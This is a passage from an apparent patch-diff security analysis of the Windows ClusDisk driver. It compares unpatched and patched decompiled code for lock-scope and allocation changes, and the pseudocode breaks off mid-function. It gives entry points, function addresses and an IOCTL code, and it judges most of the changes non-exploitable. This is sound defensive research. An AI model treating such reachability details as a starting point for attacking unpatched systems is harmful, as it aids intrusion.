&lt;p&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt; The unpatched version acquires the exclusive ERESOURCE lock at &lt;code&gt;this+0x40&lt;/code&gt; via &lt;code&gt;ExAcquireResourceExclusiveLite&lt;/code&gt; &lt;em&gt;before&lt;/em&gt; calling &lt;code&gt;SpacePortCallbackProxy::PrmGetNumberOfDevices&lt;/code&gt;, so the callback into the storage-spaces proxy runs while the pool's exclusive resource is held. The patched version reorders the code: it calls &lt;code&gt;PrmGetNumberOfDevices&lt;/code&gt; first with no lock held, returns immediately if the callback fails (&lt;code&gt;&amp;lt; 0&lt;/code&gt;), and only then acquires the exclusive lock (&lt;code&gt;this+0x40&lt;/code&gt;) followed by the shared lock (&lt;code&gt;this+0x178&lt;/code&gt;). The net effect is that the exclusive resource is no longer held across the external callback, shrinking the critical section.&lt;/p&gt;
&lt;p&gt;Both builds acquire the two locks in the same order (&lt;code&gt;this+0x40&lt;/code&gt; exclusive, then &lt;code&gt;this+0x178&lt;/code&gt; shared), so this is a change in lock &lt;em&gt;scope&lt;/em&gt;, not lock &lt;em&gt;ordering&lt;/em&gt;. The sibling function &lt;code&gt;Pool::Arbitrate&lt;/code&gt; still calls &lt;code&gt;PrmGetNumberOfDevices&lt;/code&gt; while holding &lt;code&gt;this+0x40&lt;/code&gt; exclusive in &lt;strong&gt;both&lt;/strong&gt; builds, so the binaries do not demonstrate that this callback can re-enter and self-deadlock on the same resource; that remains an unproven hypothesis rather than a confirmed deadlock.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Reachable Entry Point:&lt;/strong&gt; IOCTL sent to the ClusDisk device and routed to &lt;code&gt;Pool::PendDefenseIrp&lt;/code&gt; via the pool device-control path. The specific IOCTL numeric value is not established from the diff (see Confidence &amp;amp; Caveats).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Call Chain (as far as the binaries confirm):&lt;/strong&gt;
1. &lt;code&gt;ClusDskDeviceControl&lt;/code&gt; (IRP_MJ_DEVICE_CONTROL dispatch)
2. &lt;code&gt;ClusPoolDeviceControl&lt;/code&gt; (IOCTL routing)
3. &lt;code&gt;Pool::PendDefenseIrp&lt;/code&gt; — &lt;strong&gt;unpatched: acquires &lt;code&gt;this+0x40&lt;/code&gt; exclusive, then calls the callback under the lock&lt;/strong&gt;
4. &lt;code&gt;SpacePortCallbackProxy::PrmGetNumberOfDevices&lt;/code&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;Finding 2 — ClusPoolReadRegistrationKeys / ClusPoolReadReservationKeys (LOW)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Low (refactor / hardening — no demonstrable memory-safety bug)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Class:&lt;/strong&gt; Allocation-API modernization and error-path restructuring (CWE-457 avoidance via zero-init)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Functions:&lt;/strong&gt; &lt;code&gt;ClusPoolReadRegistrationKeys&lt;/code&gt; (&lt;code&gt;0x1c000fb28&lt;/code&gt;), &lt;code&gt;ClusPoolReadReservationKeys&lt;/code&gt; (&lt;code&gt;0x1c000fcfc&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt; The unpatched realloc loop keeps a single cleanup pointer (&lt;code&gt;v4&lt;/code&gt;). Each iteration allocates a new buffer, frees the previous &lt;code&gt;v4&lt;/code&gt; at the top of the next iteration, then sets &lt;code&gt;v4 =&lt;/code&gt; the new buffer. On the success path it sets &lt;code&gt;v4 = nullptr&lt;/code&gt; before handing the buffer to the caller (&lt;code&gt;*a2 = buffer&lt;/code&gt;), so the returned buffer is not freed; on every error path the current &lt;code&gt;v4&lt;/code&gt; is freed once at the common exit label. Traced end-to-end, both the success and error paths free correctly and there is no double-free or use-after-free in single-threaded execution. The patched version restructures this into per-path handling — it frees the current buffer immediately on each error path and returns, and returns the buffer directly on success — and switches the allocator from &lt;code&gt;ExAllocatePoolWithTag(NonPagedPoolNx)&lt;/code&gt; to &lt;code&gt;ExAllocatePool2&lt;/code&gt; (&lt;code&gt;POOL_FLAG_NON_PAGED&lt;/code&gt;, zero-initialized). This is a clarity/robustness refactor plus zero-initialization; the binaries do not show an exploitable aliasing window.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Entry Point:&lt;/strong&gt; The disk device object is passed in and queried via &lt;code&gt;ClusPoolSendIoctl3&lt;/code&gt; with control code &lt;code&gt;0x2d5018&lt;/code&gt;. The loop starts with an initial buffer of &lt;code&gt;0x808&lt;/code&gt; bytes for registrations (&lt;code&gt;i = 2056&lt;/code&gt;) and &lt;code&gt;0x18&lt;/code&gt; bytes for reservations (&lt;code&gt;i = 24&lt;/code&gt;); if the returned PR data reports a key-list length larger than the current buffer, the loop reallocates (up to a &lt;code&gt;0x8000&lt;/code&gt; cap) and retries. The reported length is a big-endian 32-bit value read from bytes &lt;code&gt;[4..7]&lt;/code&gt; of the returned buffer.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Call Chain:&lt;/strong&gt;
1. &lt;code&gt;ClusPoolReadRegistrationKeys&lt;/code&gt; / &lt;code&gt;ClusPoolReadReservationKeys&lt;/code&gt;
2. &lt;code&gt;ClusPoolSendIoctl3&lt;/code&gt; (control code &lt;code&gt;0x2d5018&lt;/code&gt;)
3. Disk storage stack → returns PR data&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;Finding 3 — Pool::Arbitrate (LOW)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Low (refactor / hardening — no demonstrable disclosure)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Class:&lt;/strong&gt; Allocation-API modernization; zero-initialization (CWE-457 avoidance)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Function:&lt;/strong&gt; &lt;code&gt;Pool::Arbitrate&lt;/code&gt; (unpatched: &lt;code&gt;0x1c000addc&lt;/code&gt;; patched: &lt;code&gt;0x140009778&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt; The unpatched version allocates its handle arrays with &lt;code&gt;ExAllocatePoolWithTag((POOL_TYPE)0x200, ...)&lt;/code&gt; (&lt;code&gt;NonPagedPoolNx&lt;/code&gt;, tags &lt;code&gt;CdP4&lt;/code&gt;/&lt;code&gt;CdP5&lt;/code&gt;/&lt;code&gt;CdP6&lt;/code&gt; = &lt;code&gt;0x34506443&lt;/code&gt;/&lt;code&gt;0x35506443&lt;/code&gt;/&lt;code&gt;0x36506443&lt;/code&gt;), which does not zero the allocation. Immediately after a successful allocation the code stores the element count at offset 0, sets the element pointer to offset 8, and &lt;code&gt;memset&lt;/code&gt;s the element region to zero when the count is non-zero. There is no path between the allocation and this initialization that returns the raw buffer to a caller, so the binaries do not show an actual disclosure of stale pool content. The patched version uses &lt;code&gt;ExAllocatePool2(POOL_FLAG_NON_PAGED = 0x40, ...)&lt;/code&gt; (zero-initialized) and uses &lt;code&gt;CAutoArrayMemPtr&lt;/code&gt; constructor/destructor calls to manage the arrays. This is an allocation-API modernization plus zero-init, not a fix for an observed leak.&lt;/p&gt;
&lt;p&gt;Note: in &lt;strong&gt;both&lt;/strong&gt; builds &lt;code&gt;Pool::Arbitrate&lt;/code&gt; calls &lt;code&gt;SpacePortCallbackProxy::PrmGetNumberOfDevices&lt;/code&gt; while holding the exclusive lock &lt;code&gt;this+0x40&lt;/code&gt;. The lock-scope change described in Finding 1 was applied only to &lt;code&gt;Pool::PendDefenseIrp&lt;/code&gt;, not here.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Entry Point / Call Chain:&lt;/strong&gt; Reached through the pool device-control path (&lt;code&gt;ClusDskDeviceControl&lt;/code&gt; → &lt;code&gt;ClusPoolDeviceControl&lt;/code&gt;), which routes into &lt;code&gt;Pool::StartDefense&lt;/code&gt; and then &lt;code&gt;Pool::Arbitrate&lt;/code&gt;. The specific IOCTL numeric value is not established from the diff.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;Finding 4 — ClusPoolSendIoctl3 (INFORMATIONAL — not exploitable)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Informational (no leak present in the unpatched build)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Class:&lt;/strong&gt; Refactor / allocation-API change (originally suspected CWE-401)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Function:&lt;/strong&gt; &lt;code&gt;ClusPoolSendIoctl3&lt;/code&gt; (unpatched: &lt;code&gt;0x1c000f8e8&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt; The unpatched &lt;code&gt;ClusPoolSendIoctl3&lt;/code&gt; (&lt;code&gt;0x1c000f8e8&lt;/code&gt;) frees its IRP through a single common &lt;code&gt;IoFreeIrp&lt;/code&gt; at &lt;code&gt;0x1c000faf6&lt;/code&gt;, so error paths converge on that free and the IRP is not leaked. The patched build (&lt;code&gt;0x140011xxx&lt;/code&gt;) splits this into explicit per-path &lt;code&gt;IoFreeIrp&lt;/code&gt; calls (&lt;code&gt;0x1400119d2&lt;/code&gt;, &lt;code&gt;0x1400119fe&lt;/code&gt;) and also changes the function's call signature (the callers pass 5 arguments instead of 8). This is a refactor and allocation-API change, not a leak fix. Treat as not exploitable.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;h3&gt;Pool::PendDefenseIrp — Before vs. After&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ===== UNPATCHED (0x1c000ab5c) =====&lt;/span&gt;
&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;Pool::PendDefenseIrp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Pool&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_IRP&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                                   &lt;/span&gt;&lt;span class="c1"&gt;// this+0x40 (exclusive ERESOURCE)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ExAcquireResourceExclusiveLite&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;// &amp;lt;--- LOCK FIRST&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v22&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v21&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;NumberOfDevices&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SpacePortCallbackProxy&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;PrmGetNumberOfDevices&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;((...&lt;/span&gt;&lt;span class="o"&gt;***&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;67&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;// this+0x218 callback proxy&lt;/span&gt;
&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_GUID&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)((&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// this+0x28&lt;/span&gt;
&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v22&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v21&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;// &amp;lt;--- CALLBACK UNDER LOCK&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NumberOfDevices&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NumberOfDevices&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;DoTraceReturn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Pool::PendDefenseIrp&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1637&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NumberOfDevices&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;release_exclusive&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                             &lt;/span&gt;&lt;span class="c1"&gt;// v8 = this+0x40 released at exit&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;376&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                                 &lt;/span&gt;&lt;span class="c1"&gt;// this+0x178 (shared ERESOURCE)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v21&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ExAcquireResourceSharedLite&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;376&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// second lock&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ... validate disk counts, queue defense IRP under ClusDskSpinLock ...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExReleaseResourceLite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nl"&gt;release_exclusive&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExReleaseResourceLite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// ===== PATCHED (0x14000caf8) =====&lt;/span&gt;
&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;Pool::PendDefenseIrp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Pool&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_IRP&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v21&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v20&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;NumberOfDevices&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SpacePortCallbackProxy&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;PrmGetNumberOfDevices&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;SpacePortCallbackProxy&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;67&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// this+0x218&lt;/span&gt;
&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_GUID&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)((&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;// this+0x28&lt;/span&gt;
&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v21&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v20&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                             &lt;/span&gt;&lt;span class="c1"&gt;// &amp;lt;--- CALLBACK FIRST, NO LOCK&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NumberOfDevices&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NumberOfDevices&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;DoTraceReturn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Pool::PendDefenseIrp&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;98&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NumberOfDevices&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                                          &lt;/span&gt;&lt;span class="c1"&gt;// &amp;lt;--- early return, no lock taken&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                                  &lt;/span&gt;&lt;span class="c1"&gt;// this+0x40&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v20&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
